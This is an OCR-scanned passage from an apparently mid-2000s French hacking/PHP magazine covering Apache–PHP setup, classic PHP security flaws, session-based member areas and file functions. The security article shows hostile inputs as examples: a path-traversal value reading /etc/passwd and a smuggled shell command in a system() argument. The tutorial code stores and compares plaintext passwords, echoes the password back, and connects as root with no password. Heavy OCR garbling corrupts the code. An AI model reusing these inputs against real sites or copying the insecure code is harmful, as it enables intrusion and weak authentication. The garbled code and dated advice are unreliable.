tive " datacfif " deMySGL, je vousconseilled'u- 
tiliser un repertoire situe sur une autre 
partition afin d" e v iter d 1 event ueis problem es 
de security. 

Oirectorylndex index.htmli 

index.htm 

-> Cette option per met d'irtdiquer la priorite des 
pages qui seront reconnues automat iquement. 
Par exemple. si vous utilisez un fichier 



index.html dans Je repertoire " titdocs/ " r vous 
n'avez pas besoin d'indiquer son nom pour y 
acceder. Ainsi, http://tocathftst/ lancera automa- 
tiquementhttp://l_calhqst/lndex.htmL 
ServerSignature Off 

■> Par defaut, cette directive est sur " On " et 
elle permet d'afficher la version du serveur 
lorsque Ton torn be sur une page d'erreur. II 
vaut mieux la desactiver at donner le moins 
d'infor m_ tions possibles sur votre serveur 
II existe beaucoup d'autres directives interes- 
santes dans cette section, mais je ne peux pas 
toutes les decrire id, vous apprendrea vite a 
les adapter a votre environnement. 

Section 3 : C'est ici que vous pourrez configurer 
vos hfites virtue-Is. Etant donne que vous n'au- 
rez certainement pas besoin de gerer plusieurs 

domaines, je ne vais pas m'attarder sur les dif- 
f erents elements de configuration de cette sec- 
tion. 

Nous avons a present un serveur web ainsi 
qu'un serveur de base de donnees, ces deux 
elements fonctionnant independamment PHP 
va etablir un lien entre chacun de ces serveurs 
car il utilisera MySQL et sera lui-meme utilise 
par Apache. 



3-PHP 

Pour obtenir une description du lanqaqe PHP, 
je vous laisse tourner quelques pages de ce 
numero, II y a plusieurs facons d 1 installer PHP. 
on peut par exemple uti I iser I'installateur Win- 
dows disponicle dans la section download de 
php.net. Cette methods est la plus simple, mais 
elle risque de vous poser problem? si vous sou- 
haitez ajouter des extensions a PHP L'aufre 
technique consiste a installer PHP manuelle- 



e 











IT 



ment, ce qui est plus complique et demande 
plus da temps mats, a rarrivee, on obtient de 
meilleurs resultats. De plus, en installant 
mamjellement, on com pre nd mieux las diffe- 
rentes eta pes et il sera alors plus simple de 
modifier la configuration. 
Pour commencer I 1 installation, il Taut recupe- 
rer I "archive con tenant les binaires Windows 
disppnible a parti r de http://www,php-net/down- 
loads.php. Une fois votre archive recuperet il 
faut extraire son contenu vers ,f c:\php5\ " . 
Nous aliens maintenant installer PHP en tan t 
que module Apache. Pn-urcela, i I faut a nouveau 
editer le fichier ,r httpd.conf ". La premiere 
chose a modifier se situe dans la section 1 de ce 
fierier, oil il faut aj outer " Load Module 
php5_module M c:/php5/php5a&acr,e2.dl[ " a la 
suite des autre* directives du meme type, De 
meme, il est necessaire d'ajouter las directives 
" AddFype application/xhttpd-php .php " et " 
PHPlniDir "C:/php5 '■ dans la section 2, Pour 
f i n ir, il faut ajouter une vale u r 
a la directive Directorylndex 
afin que les fichiers index. php 
soient auto mat iqu anient 
reconnus. Nousaurons done 
"' Directcrylndex 



TT| 



:D !<bfxbr>": 



n 



<?pnp 

echo "Php fonct twine 

phpinfoO ; 

7> 



II reste a redemarrer Apache puis a tester notre 
script s-ur http://iacalhcistytest.php : 

phpl.png 

Notre configuration actuelle ne nous permet 
pas d f utiliser MySQL. Pour remedier a ce pro- 
bleme nous devons ajouter rex tension MySQL, 
ce que nous verrons en meme temps que la 
description du " php.ini " Nous allons mainte- 
nant voir comment est compose le fichier de 
configuration de PHP car c"est a partir de celuh 
ci que nous pourrons ajouter de nouvelles 
extensions. Lancez done votre editeur de teste 
favor i puis ouvre* le fichier php.ini qui doit etre 
place dans " C:\php5\". Tout comma le fichier 
de configuration dftpache, php.ini est compose 



I Php tonewHTW CM 



^J jj t ^^ HlW^W 



IIl^Z 



Ion 5.(1.2 



■ 




lndex.html index.htm 

indej.php ". 

Retoumons maintenant dans 

nc-tre repertoire d 1 installation 
de PHP pour renommer le 
fichier phpjni-recommended 
en php.ini. II est preferable 
d'utiliser php. in i-recomm en- 
ded plutGt que php.ini-dist car sa configuration 
est optimised et plus orients se*eurite. Bien, 
PHP est enfin installe. Pour s r en assurer, nous 
pou vons creer un fichier " test.php " dan s I eq ue I 
nous placerans : 



■HrtfrMlTHPllfaJrtilOt 



em a ron n 34 u 






hm*t 



KfMt»ia 



*ii*HB 



tvnem** 



«0jin+ 



rtOioJi* 



UMm i 



[ 

IT- 



de plusieurs sections treltent de la configura- 
tion du Ian gag a. des resources utilisees, de la 
facon dont sont traitees las variables ou de I'u- 
tilisation et da la configuration des extensions 
dynamiques. Passons en revue quelques-unes 



I 



des options les plus importantes : 
sefe^rnode = Off 

-> Le safe^mode permet d'ajouter des options. 
de sec u rite en desactivant certaines fonctions. 
Si vols debutes ert PHR je vous conseifle de re 
pas I'utiliser tout de suite car la plupart des 
documentations se basent sur des configura- 
tions n'utilisant pas cette option. Pour avoir 
plus d' informations sur le safe mode, vous 
pouvez aller visiter 

http ://www. pl1p.net/m3 oual/en/features. saf e- 
mode.php , 

max_executionJime = 30 
> Determine le temps d 1 execution maximum en 
second e d'un script. Vous aurez peut-etre 
besoin de changer cette valeur en program- 
mant diverses applications, 
register_giobals = Off 

-> Cette option est tres importance car, suivant 
sa valeur, certaines applications re fonction- 
neront pas. II est preferable pour la sec u rite de 
son serve ur de maintenir cette option sur Off et 
de prendre la bonne habitude d 'utilise: le pre- 
fixe $_ afin de trailer les valeurs pas sees en 
argument. 

maqic_quotes_gpc = On 
-> Permet d'echapper les caracteres speciaux 
par un slash. En act ivant cette option, vous evi- 
terez des problemes de securite de type SOL 
injection. 

extension_dir= "Ci/php5/extr 
■> Cette directive sert a definir replacement 
des extensions de PHR par dlfaut sa valeur est 
de "J" et il taut done la modifier pour pouvoir 
activer le support des bases de donn£es 
My5QL 

extension^ php_my5ql.dll 
•> En decommentant cette option, on active 
f ex tens ion MySQL. Vous devez auparavant 
avoir modifie la valeur d J " extension dir ". Si 



vous souhaitez activer d'autres extensions teh 
les que bz2 ou gd2, il suffit de decommenter 
chacunedes directives leur correspondent, 
Le fichier de configuration phpjni contient egar 
lement une section de configuration pour cer- 
taines extensions, celle-d se trouve a la fin du 
fichier. Vous pouvez es saver d 'adapter ces 
valeurs afin d'obtenir de me 1 1 leu res perfor- 
mantes. 

Une chose iniportante a ne pas oublier est de 
copier le fichier librnysql.dll fournit dans " 
c:\php5\ " vers " c:\windows\svstem32\ " ou " 
c:\WINNT\system32\ n P selon votre systeme 
d 'exploitation. 

Apres tout tela, il reste a redemarrer Apache 
pour que les modifications du php.ini prennent 
effet. En actualisant la page de not re testphp, 
on voit dans le phpinfo que MySQL est mainte- 
nant disponible. 

CONCLUSION 

Vous disposez a present d'un serveur web 
capable d'uti I iser la technologie PHR Vous pou- 
vez perfection ner vos connaissances du PHP en 
ajoutant de nouvefles extensions a votre ver- 
sion de PHP. En apprenanta utiliserces exten- 
sions, vous serez capable de creer et 
d'heberger des sites internet dynamiques tres 
puissants. 



References 

" Apache en action " de Ken Coar & Rich Bowen 

" PHP & MySQL M de Luke Welling & Laura 

Thomson 

Site off iciel d'Apache http://wYfw-apache.ofg 

Site officii I de PHP http://www.php.net 

Site officiel de MvSOL http://www.my5ql.CQm 

Delete 










Programmation 
php securisee 

Les failles classiques 

L'UN DES CONCEPTS CLE DE LA PROGRAMMATION SECURISEE, SURTOUT EN PHP 
ET EN PROGRAMMATION WEB, EST LA VALIDATION DES PARAMETRES DONNES 
PAR L'UflLtSAmJIL NOUS ALLONS VOUS MONTRER Id LES FAILLES DE SECURI- 
TY LES PLUS FREQUENIES, QUI DECOULENT PRESQUE TOUTES DE NEGLIGENCES 
DANS CETTE VERIFICATION ; AUTANT D'EXEMPLES A NE PAS SUIVRE. 



On va d'ahord enumerer des erreurs de concep- 
tion et de mauvaise utilisation des variables en 
PHP, On va ensuite presenter les failles clas- 
siques resultant d'un mauvais traitement des 

parametres, 

ERREURS DE CONCEPTION 

De nombneux scripts PHP utilisent encore des 

variables utilisateur (GET, POST ou cookie) pour 
memoriser un *lat. Par example, certains scripts 
ptacent dans un cookie la variable de control? 
admin=l, pour verifier que Tutilisateur a justifle 
ses droits d'administrateur, II s'agit d'une mau- 
vaise pratique, parce que facile a contrefaire : un 
cookie de ce genre pent etre forg£ et r dans cer- 
taines conditions, un appel b paqe.php?adminj= : 1 
suffit mime b act iver les droits admin. La gestion 
correcte des variables de control* se fait norma- 
lement avec le system* eke sessions prevu par 
PHP, qui les $tocke dans la memcire du serveur 
(voir notre article sur ce sujetK 
Un problems Equivalent survient lorsque I 'on 
utilise des variables global?; pour la communi- 
cation entre des scripts inclus separement. Par 




exemple : 

page.prip 

<?pbp 

1nclude("autri P php"h 

Incl ude( "modules . php" ) ; 

7> 







Si auth.php, so fiant poartant a Line methode 
sure, initialise Sadmin ou Sidentified, et si modu- 
les, php prend en cnmpte tes variables pour affi- 
cher dE5 menus ou des informations, ce dernier 
peut etre abuse. En effet, si on appelle direete- 
ment mcnJules.php7identifie-d-1. en passant fes 
variables par HTTP (GET ou POST}, le script ne 
saura pas faire la difference - pour autant que la 
directive reoister.globals soil mise a " yes " 
dans la configuration de PHP. Une solution 
consists alors a desactiver cette directive. Une 
autre, meilleure. est de placer les sous-scripts 
dans un repertoire qui n'est pas directement 
accessible par HTTP (un repertoire inc/ obnt la 
lecture est defend ue per HTTP par un .btaccess). 
Un problem e plus cefebre de I 'in elusion de 
script, la ,r faille include ", survient lorsque 
include est appele avec un pa re met re derive 
d'une variable utilisateur. 
page. php 
<?php 

1nclude( H entettKprip"); 
i ncl ude ( "menugauc be . php * } ; 
include*" sect-Ton/" . % section ); 
Included ■pled.ptip"); 
7> 

Ce script est prevu pour structurer la page en 
plusleurs parties, sans utilizer de frames, Le 
menu c on t tent ainsi des liens vers 
page-pbp?5ecticn=honie.php ou page,php?sec- 
tion=contact.pnp. Seuleme nt on peut inclure 
n'importe quel fichier avec ce script, par exem- 
ple en donnant section =../../J f ../etc/j)asswd. 
Cette facon de fa ire n'a d'avantages que pour 
les paresseux et reste a proscrire absolument. 
Une maniere elegante et sure d r implementer ce 
systeme de naviqation est d'utiliser un tableau 
associant un nam de page a un nom de flchier. 
et de prevoir une page d'erreur ou par debut 
au cas ou la page demandee n'etait pas prevue. 




LES INJECTIONS 

Void encore un autre type de script non secu- 
rise : 

prime. php 

<?php 

if (f ssetd number] J { 

echo "<p>Hornbres premiers Inferfeurs 
a J number £<pre>-; 

sy s tern t " /honey f 1 bo/bl n/prl me So um - 
ber"); 

echo "</pre>"; 
} else { 

// L +f ] Formulaire 

> 
1> 






TP 



Id, on passe la variable d'un formulae en 
para met re a un programme exteme. I'appel a 
system est parti culierement danqereux, parte 
que ('argument est direttemervt interpret* par 
le shell. On peut done indure des cararferes 
speciaux dans Ie parametre et executer, en sus, 
d'autres commandes, Par exempleavec : num- 
ber=0;id;cat /etc/passwd. La solution est de fil- 
trer les caracteres speciaux ; les fonetions 
escapeshellarq et escapeshellcmd ont 
d'ailleurs ete prevues a cet effet. Dans ce 
genre de cas, il faudrait meme filtrer svste- 
matiquement tout ce qui ne forme pas un 
nombre entier - ou tout ce qui ne se-rt pas a 
£crire un nom, une date, etc selon Ie contex- 
ts en testant preq_match( M / A [0 ^1+S/", 
Snumberh par exemple. 
On rencontre Ie meme phenomene lorsque I'on 




M 



ir [T_Lr 






TT 

passe des variables utilisateur a d'autres ele- 
ments esternes, comme une base de donne'es 
SQL. Le " SOL injection " est aussi un grand 
class! que des failles PHP, qui consist? a inter 
caler du code SDL dans la requete, en utilisant 
aussi des caracteres speciaux, PHP fournit des 
fgnctions comme mysqLesca peering, pour 
filtrer ces attaques, 

Dans Ie mime ordre d'idees, on doit aussi filt- 
rer les taqs html presents dans des variables 
utilisateur qu'on voudrait arrlcher, afin d'eviter 
Ie cross site scripting (cest-a-dire que I utilisa- 
teur puisse faire s J afficr»er du code html arbi- 
traire sur une page, en particulier sur Ie navi- 
gateurs des autres, par exemple sur un forum). 
Bref, filtrez aussi precisement que vous pou- 
vez, verifier et testez absolument tout ce qui 
vient de I' utilisateur. 



PEUT-ON S'EN REMETTRE AU SAFE MODE ? 

PHP propose un rnecanlsme general pour llmiter la portee des attaques classiques sur les 
scripts PHP : le safe_mode. Les adminlstfateurs se sentent rassures lorsque cette directive est 
enelenthee sur leurs serveurs, pulsqu'elle bloque Pacces aux repertoires qui sunt hors de 
I'espaoe web et mterdit I'appel aux fane lions specialement dangereuses, comme systemO. II y 
a dependant deux bemols a cette fausse sensation de securite. 

Premierement. un site complete ne peut pas toujours fonctienner en safe_mcde configure par 
defaut. II faut faire des exceptions aux restrictions de ce node pour le ton fqnetionnement du 
site, et chacune devient une faille potentielle dans sa securite. 

DeuKiemement, des faiblesses sont decouYertes requirement dam lesafejnode. Panni les der- 
nieres. I'une permettait, a partir de la version 4.3.0 de PHP r de " bypasser n la limitation sur I'ac- 
ces aux fichiers. On peut, lorsque la directive safe_modeJnclude_dir n'est pas deflnie (e'est le cas 
par defaut sur Mandrake 9.1, notamment} r ouvrir un fichier artitralre avec un simple include^- 
II faut aussi qarder a I 'esprit que le safe.mode n'a que peu de control e sur les modules exter- 
nes, comme MySOL, qui peuvent aussi presenter des vulnerabilites, Oe plus, certains bugsde 
conception, comme ceux pre sent es plus haut, ne peuvent «tre evltes par le safejnode, Enfln des 
attaques comme I'lnjectlon de headers mall illustrent des classes de vulnerabilites que le 
safe_mode ne peut pas non plus empecher. 



I 




Sessions PHP : creer 

COMME UES COOKIES, LES SESSIONS IBEPUIS PHP 4.0] PERIWETTENT DE GARDER 
DES INFORMATIONS EN MEMOIRE ENTRE PLUSIEURS PAGES PHP t 
ET EVENTUELLEMENT ENTRE PLUSIEURS ACCE5. IL EST AINSI POSSIBLE DE 
RECONNAITRE UN INTERNALTTI D'UNE PAGE A UNE AUTRE, OU DE SUPPLEMENT 
VERIFIER S'lL S'EST CGRRECTEMENT IDENT1FIE, AUIDRISANT AINSI LA CREATION 
D'UN E5PACE MEMBRE. 



SESSIONS PHP : 

CREER UN ESPACE MEMBRES 

Chaque session cre£e genere un identifiant 
unique, qui passe de page en page soil via 
I'URL, sort via urt cookie, 
Son nom est. par defaui PHPSESSID (modifia- 
ble dans le pbpjni ou directement dans le 
code). Les sessions peuvent etre utilisees de 
deux facons differentes : 

• sort de facon boolean ne (la session a-telfe eie 
creee ou oon ?} 

• soit pour en registrar des dormfes (quelles 
options a choisi le membre ? Quel est son iden- 
t if i ant? etc.) 

Nous aliens etudier ici lei deux possibility. 

Pour nos examples, nous aliens considerer une 
table SOL "membres" contenant les champs 
suivants ! 

• id, ridentifiant numerique unique du memhre 
CI, 2.-443. etc.). 

• login, le nom d'utillsateur du membre, unique 
aussi pour chaque membre, compose de carac- 
tereset dec nifties, 

• pass, le mot de passe de I'utilisateur, compost 
de caracteres et de chiffres. 



L'espace membre se composera de deus pages : 

• pagel.php, contenant le fgrmulaire de Log In et 
le code d'authentif (cation, 

• page2,php, qui est l'espace membre a propre- 

ment parler ; reserve aux membres. 

Pour lie pas devoir repeter la connexion a la 
base de donnees sur les deux pages, on cree un 
fichier header.php dans lequel on mettra le code 
suivant. qui sera inclu dans les pages qui en ont 
besoin : 

<1 

// Informations recess a Ires 

// a la connexion : 
Sdbhost = "local host" ; 

Idblogin = "root"; 
Idtipas sword = **% 
idbname - "sessions"; 

// Connexion au serveur : 

Jdb = inysql_connect{Jdbho$tp Sdblogfn, 

tdbpassword); 

// Connexion h la DB : 
nysq l_sel ect_db ( td bn ame , $db J ; 






— 



^m 







UN ESPACE MEMBRES 




Commenc,ons done par I'utilisatkm booleenne 
des sessions, La premiere chose 
a faire est ^'initialiser une session via la fonc- 
tion sessionjtartO;, 

Hate : PHP peut le faire automatiquement si 

session .autc.start est active 

dans le fichier de configuration php.ini. 

LI nous faut ensuite, dans tette pane pao.el.php, 

un formulaire POST dans lequel I'lrtilisateur 
devra entrer son nom d'utilisateijr et son mot 
de passe. Comme la verification de ces derniers 
se fe-ra dans la meme page, I 1 "action" sera 
paqel.php (on pourrait eqalement la laisser 
vide, ce qui prendrait paqel.php par defaut 
centime "action") : 

<form methQd="POST* 

actiorr= H pagel.php*> 
Hot de passe : 

<input type="pa&sword H 
name="Tnpas5~xbr> 

Horn d'utlHsateur j 

<1nput type=~text H ni4iie= H 'iiiloflini' , xbr> 

■-input type=" submit " 

name= H send" valje= M Log In"> 
</fcnrt> 

Mais ce formulaire ne devra pas s'afflctier a 
t ha que fois : sll a etc env&ye et que le mot de 
passe et le num d'utilisateur sont corrects, le 
memhre devra etre authentifie et pourra rent- 



rer dans son espate membre. 

Le code de la paqe paqel.php est done, a notre 

niveau : 

<? 

// Connexion au serveur sql, ... : 

IncludeCheader.php"); 

// On Initialise une session : 
5essirjn_start( ); 

if (3isset<l„POST[ H send"]J) 

{ 
// SI le; formulaire n K est pas 

// envoys, on l'affiche : 

1> 

<foni method^ POST" 

action^pageuphp** 

Nom d'uttUsateur : 

<tnput type^text* naine="in1og1n"xt>r> 

Hot de passe : 

<input type=" pas sword* 

rame="mpas s "*xt(r> 
<1nput type=" submit" 

name= n send'* value^Log In"> 
</fomp 

<T 

}else{ // Slnon s 

[„-3 



I 



} 
?> 



Si le formulaire est deja envoye, il y a deux pos- 
sibility : les nom et mot de passe utilisateur 
stmt corrects, et on redirioe vers pageZ.php ou 

bien ils n<? le sent pas, alors on aFflche un mes- 
sage d'erreur et on reaffiche le formulaire. 
Cette partie, representee dans I e code ci-dessus 
par U, devrait done ressembler a ce qui suit : 

tmembre = 

a ddsl a s hes ( J_P0ST [ "ml og1 n " ] > ; 
Spassw = OOSTfrnpass"]; 

Isql = "SELECT pass ". 

TRQM rembres. WHERE". 
"1 og t n= " Jmemb re ' ■ ; 

ireq = mysql_queryf Jsql ) 
or dieCErreur SQL' ); 

Ires = mysql_fetch_arTay($req); 

If (tpassw ]= HULL 

U tres['pass] = Ipassw) 

{ 

sesst on_reg1 sterC "membre" ) ; 
echo "<a href=\"page2.php\">". 

"Eotre.2 dans I'espace". 

"membrei . </a>" ; 
} else { 

echo "<a href=\"pAQeL.php\">\ 

"Mauvais login ou mot 1 *. 

" de passe ^/Vi 
} 

Petite analyse : 

On stock* d'abord les resultats du formulaire 

dans deux variables : le login dans Smembre et 

le mot de passe dans Spassw. 

Ensuite on extrait de la table "me mores" le 

mot de passe qui correspond au login entre par 



I 



J 'utilisateur, qui sera stocke dans £res['aass']. 

On compare ce dernier au mot de passe entre 
par I 'utilisateur ; s'il est incorrect on affiche le 
message "Mauvais login ou mot de passe" avec 
un lien vers le formulaire, et s h il est correct on 
affiche le message "Entrez dans I'espace mem- 
bre" avec un lien vers page2.php, et on cree 
bien siir une session. 

Pour creer cette session, on utilise la fonction 
session_registerO, qui a com me arqument le 
nom de la session que Ton veut cr£er, lei notre 
session portera done le nom "membre". 

Note: k propos des redirections, quelques 
problemes de compatibilite ont ete remar- 
ques entre les sessions et la redirection via 
header*), il so peut done que ('utilisation du 

javascript (par exemple) soit necessaire. 

Reste maintenant a creer le code de 

paqeZ.pbp, qui v^rifiera si oui ou non le memb- 
re est bien un membre (done si une session a 
bien ete creee). Rien de bien complique grace 
a la function sessscn_is_registered(), qui recoit 
en argument le nom d'une session, et qui ren- 
voie TRUE si elle est bien enregistree, et FALSE 
si elle ne Pest pas. 

Le code de page2.php sera simplement : 

<? 
sessfon_$tart(); 

t f ( se s s i on_1 s_reg f s tered t " membra" ) ) 
{ 

echo "Bienvenue dans 1'espace** 

"roembres I"; 
echo "Info prfvee blablabla info", 

"privee blablabla": 




> else { 

echo ™<a href=Vpa'gel.php\">' 1 '. 
"DesolG, vous devez #tre 
"logue' pour accepter a ". 
Te space membres I</a>"; 



> 
?> 



II sera peut-etre aussi necessaire, pourfaire les 
chose s proprement, -de- cr£er une page 
lijgcutphp afin de deconnecter la person ne en 
fin ^utilisation du script (entre autres pour la 

secur ite du membrel 

Pour cela. il faut utiliser, dans notre cas, deux 
functions : 

■ sessionjinregisterQ, qui va " de sen regist- 
rar " la session ereee avec sessicnjegis- 
terO et 

* sessionjfotroyO, qui va detruire la session 
lance 1 e via sessianjstariO. logautpbp 
contiendra done le code : 

<? 

se5s1an_startO; 

se£Sion_unregf ster( "membre" ) ; 

sessioMestroyUj 

1> 



D'autres fonct io ns peuvent ^tre utiles pour les 
sessions, com me : 

• session_name(j, qui lit et/ou modifie le nom 
d'une session, 

• sessionjinsetO, qui detruit toutes les variables 
d'une session, 

• et d'a utres encore, disponibles en f rancais sur 
le manuel official detittptfwww<php.net. 

Au lieu d'utiliser sesstorijegisterO, I'equipe 
PHP conseille, de facon a etre independent de 
I'option reqisterjjlobals, d 1 utiliser le tableau 
superotobal 5_SESSI0N (anciennnement 
SHTTP_SE5SI0N_VARS). En effet sessionjeqis- 
terO risque de ne pas fonctionner corrects 
ment dans les environ nements ou reqister_glo- 
bals est desactiv-e, 

En dehors de ce dvsfonctionnement. S.SESSI0N 
est fort pratique pour i dent iter plus rapidement 
un membre ou enregistrer des preferences. 



Revoyons done notre espace mem b res, compo- 
se de paoel.php, paqelphp et logout.php, ma is 
cette fois-ci en utilisant S_SE5.5ION. 

Vote! ce que va devenir pagel.php theaderpbp 
ne change pas} : 



<? 
1ncTude{"hieader.php ,, >; 

sess1on_startO; 

i f ( M sset ( t.POSTt " send" ] > ) { 



l> 



I 



D [LI 



D 






irur-HK 




*form methods POST" actiorr="pagel,php H, > 

Nom d'utflfsateur : <input type*" text" name="mlog1n"xtir> 

Mot de passe : <input type=~ password" name="mpa5 5 , *xbr5' 

Boisson prGferee : <iTiput type^' K text" name="n*oisson"xfcr> 

<1 input type= ,r submit" names" send" valuer 1 * Log ln''^- 

</form> 



<7 



} else { 



imembre = addslashes(*_POST["inlagiTi"]); 
Spassw = t_POST["inpass"]: 

Isql - "SELECT pass FR(l« membres WHERE 1 Qg 1 n- * Snemb re * ^ ; 

lr«r = n|ysql_query<Ssql) or die( 'Erreur SQL'.); 
Ires = mysql_fetch_array(treq); 

if Clpassw != HULL && Srett'pus 1 ] = IpasswH 

(_SESSION[-membre re ] = tmembre; 

S.SESSIONCbolsspiT] = html speci al charsf *_TOST[ "mboi sson" ] » 

FHT_qUOTES); 
echo "<■ href=V'page£.php\">Eiitrez dans Vespace men*re.</a>" ; 

}else{ 

echo "<a href=\"pagel.php\">Mauvais login on mot de passe. </h>" 



} 

7> 



On iroit deux difference majeures par rapport 
au premier espace mem b res. D'abord j'ai rajou- 
te un champ "Bcisson preferee" au formulaire 
:>, et aussi (et surtout) la ligne ■' 



a etc rempfacee par les liqnes ; 



sessl on_reg! ster( "membre" ) ; 






*_SESS[OH["[riHiibre H ] = Jmembre; 
*_SES5rOM["bofsson-] ■ html special - 
chars( I J>D£T[ "mboi sson" ] , ENTJWDTES) ; 




Contrairement au code precedent, on petit chaque page de I'espace membres, 
pour un membre stocker plusieurs yaleurs pagel.php pourrait maintenant devenir 
dans un tableau qui seronl reutilisabies sur 



<1 

i nel ude{ "header . pfop" J ; 

ses5ion_start(h 

If (1sset{l_SESSI0N["menibre H '])H 

tsql = "SELECT pass FfiOK membres WOE loginF' ,, .*_SESSIOHC ,t meflibre M ], j 

Ireq = mysqjl_querv{3sql ) or diet'Erreur SOL'); 
Sres - mysql_fetchL_aTTay(lreq); 

echo "B1 en venue "^.SfiSSlOfC'membre"]. 

". vqus prendrlez blen un verre de n .t3ESSIOH[ H bo1ssor»'']," ? <br>*; 
echo "Votre not de passe est ; <1 >". * res [' pass' ].-</1>/'; 

}eUe{ 

echo "<& href=\*'pagel,pbpV M >0^sole J vous devez etre toque" pour accGder a 

l'espace merabne l<fa> m ; 

} 
1> 



• On reccraialt ie membra qui s'est toque, ce qui n'e- 
tait pas possible dans L'espace me-mbre prece- 
dent, cm petit afcre, par e*emple, extraire d'autres 
informations de Ea base de dwwees a son sujet 

<> 

sess1or_startU; 

un$et( ^SESSION ["mefibre" }> j 

ur set i l_SESS I ON t " bo1 sson " ] ) ; 

sessiorudestroyO; 



• Qhpeut dredemerit utisff lesvaleursenfegstjieesdans 

SjSESSION r flirame pouafficftersa botecn prtffree. 
Enfin, ie fidiier logouLphp ne doit plus utiliser ses- 
stonjinfeqisterO, mais bien unsetO, comme une 
variable clique. Ce qui se transformera id en : 



Note ■ Avant PHP 4.3 et avec register^ totals active, c'est toujours session^ register*) qui 
doit etre utilise. 



I 




^^^ ^^™ ^^B _ff 

Comme je Mai indique en debut de Ecxte-, lldeflth 
fiant de session est envoy* via URL ou via cookies,. 
Cet ide-ntifiant, content! dans tine constants 
"SID", est de la forme "nom_session=valeur_ses.- 
sion", "nom_session" etant la valeur donnee a 
session.name dans le php.ini (PHP5ESSID par 
d£faut). II est envoye en priority par cookie, 
mais tout le monde n'utilise pas les cookies. 
Cans ce cas, il faut nous m§mes ajouter a la tin 
de chaque lien le SID en question. Dans notre 
espace memhrEs. il n'y a qu r une ligne a changer 
dans pagel.php, c'esh 

echo "<& href=\"page2 r php^">". 
fl Ent rez dans r espace". 
" membre,</a>"; 

en: 

echo "<a nref^V'paoeZ.php?*. 

html special chars, ( 

SIO p ENT_QU0TES). 
"\">€ntrej dans 1" espace «, 
"■Kf*re,</a>' : 



Si vous voulez malgre tela forcef I'utilisation 
des cookies, il faut activer I "option 
,J session.use_only_toDkies". 
Yous voila maintenant capables d'utiliser 
les sessions afin de creer on espace mem- 
bres, en fo net ion de voire configuration et 
de votre version PHP, To us les codes utili- 
sed ont ete simplifies au maximum, a vous 
d'en faire quelque chose d'attrayant pour 
rutilisateur ! 

De nombreux details sont toujour*, disponibles 
(en francais) sur le site off ic i e I , comme a I'a- 
dresse : http://beZ.php.net/session. Vous y 
trouvErez toutes les fonctions. relatives aux 
sessions, les options de configurations en rap- 
port expliqoees, I 1 influence de certaines autres 
options... Tout ce qu'il faut pour les maitriser 
sur le bout des doigts. 



Bon coding ! 



Germain Randaxhe aha frog-m#n 




PHPCHALLENGE.ORG 

A essayer de toute urgence sur http://www.phpchallenge.org : le nouveau challenge PHP de 
frogman, que vous Hsu regulierement dans les publications de The Hackademy, et skarab. 
qui ont riussi a concevoii un design de qualite pour chacun des faux sites que vqus devrez 
attaquer 

Les trente epreuves disponibles pour I'instant sent enrichissantes pour un rteveloppeur et la 
pi u part originalcs. bien que les failles a decnuvrir sclent sFmulees. Le prlncipe est de trouver a 
chaque fois I'erreur d'implementation laissee a dessein dans un formulaire ^identification, 
dans un system* d'upload de fichlers, dans un sondage, etc. SI vous trouvez un moyen de I'ex- 
plolter pour faire enqendrer une action que vous n'auriei normalement pas le droit de faire, 

te'est gagne I 
Bon courage ! 







Operations sur nun 

LES FICHIERS EN PHP 



COMME IL N Y A PAS QUE LES BASES DE DONNEES DANS Uk VIE, PHP POSSEDE 
UNE FLOPEE DEFOMC1TONS (PIUSDE70J PEHMETTANT LA CREATION ET LA MANI- 
PULATION DE FLAT FILES* C'EST-A-DIRE DE FICHIERS ,l SIMPLES ". NOUS ALLONS 
NOUS ATTARDER SUR LES OPERATIONS DC BASE A TRAVERS UN EXERCICE PRA- 
TIQUE : UN SCRIPT DE GESTION DE FICHIERS. 



OUVEIHURE El FERMETURE 

Bien que toutes les operations sur les fichiers 
ne necessitent pas rouverture prealable dud it 
ficMer, les plus courantes et standards que sent 
fputsO et fgetsO (un peu de patience) se pla- 
ced entre fopent) et fc-los-eO- Ainsi, le schema 
type d'une utilis-a-tion de fichier est ; 
<? 

ShaTidle = fopenEVioriGuFicriier, Jmode); 
// On manipule le fictiier... Et on le 
ferme, 

fclosedhandleh 
?> 

Si I'guverture du fichier est reussie, f openO ren- 
voie un pointeur qui devra etre utilise dans les 
operations de lecture/kriture sur ce fictiier, 
Celui-ci est done stocke dans la variable Shand- 
le. Le terme anglais handle deaiqne la variable 
utilisee pour atteirtdre le fictiier ouvert 
Ce dernier est e'videmment le fithier denomme 
par la variable SnomDuFichier (qui est done une 
tnalne de caracteres). La variable Smode, ega- 
lenient chalhe de caracteres, indique le mode 
dans lequel le fictiier doit etre ouvert, e'esta- 
dire ('utilisation que Ton va en faire : ce mode 
peut done etre lecture (dans ce cas Smode vaut 



" r " eomrne read), exriture (" w rl com me 
write, le contenu du fichier est alors efface) ou 
ajout (" a " comme append). On pent I'ouvfir 
en lecture et ecriture ; so it en effaqant le 
ccntenu du ficnier (" w+ "), soft sans I 'efface r 
(" r+ " ou H a+ "). 



LECTURE D'UN FICHIER 

II existe plusieurs f aeons de Lire le enntenu d'un 
fichier, done, pour ce faire, plusieurs fonctions, 
FgetsOest sans doute la plus c Durante. 5a 
forme gene rale est : 

Sctiaine = fqets5handie, Jlongueur); 
ou Shandle est le handle obtenu a I'ouverture 
du fichier par fopen() r et Slongueur le nomtare 
de caracteres + 1 (!) a lire, L'execution de cette 
fond ion se term me lorsque le nomnre de 
caracteres specific' est lu, ou s'il rencontre un 
cacactere de fin de ligne (newline) ou une fin 
de fichier (EOF, end off ileh 
II taut alors rappeler la fonction pour eonf inuer 
la lecture (sur une nouvelle ligne si e'est le 
newiine qui a arrete la lecture precedente). 
sauf evidemment si I'on se trouve a la fin du 
fictiier. Cette fonetion est done souvent utilisee 






b 



i 



D 



fuiir 

m — 



dans une boucle, par exempte dans un while 
(Ifeof ($handle)> comrne nous le wmons plus has. 
fqetctShandleJestl'equivateftde fgetstSnandte, Z3, 
Cest-a-dire- Cju'il nelrt qu'un seul caractere. 
foetssQ : cette function se comporte de la 
m erne fac,on que fgetsO mais supprirne en plus 
les balises HTML se trouvant dans les enreqis- 
tremerits lus. Un troisieme argument, facultatif, 
permet de predser lei balises que I'on souhai- 
teconserver. Exemple: 
Schaine = fgetsst Shan die, 1024, "<bxi><u>"): 
Ces trois fonctions. nexessitent'une ouverture 



en lecture (' 



r ". " r+ 



w+ ,f ou " a+ M ) du 



fichier par fopenO (ou equivalent). 

Deux autres fonctions utiles de lecture. fileO 

et readfileo. ont la particularity de ne pas 

necessiter I 'ouverture prealable du fichier par 

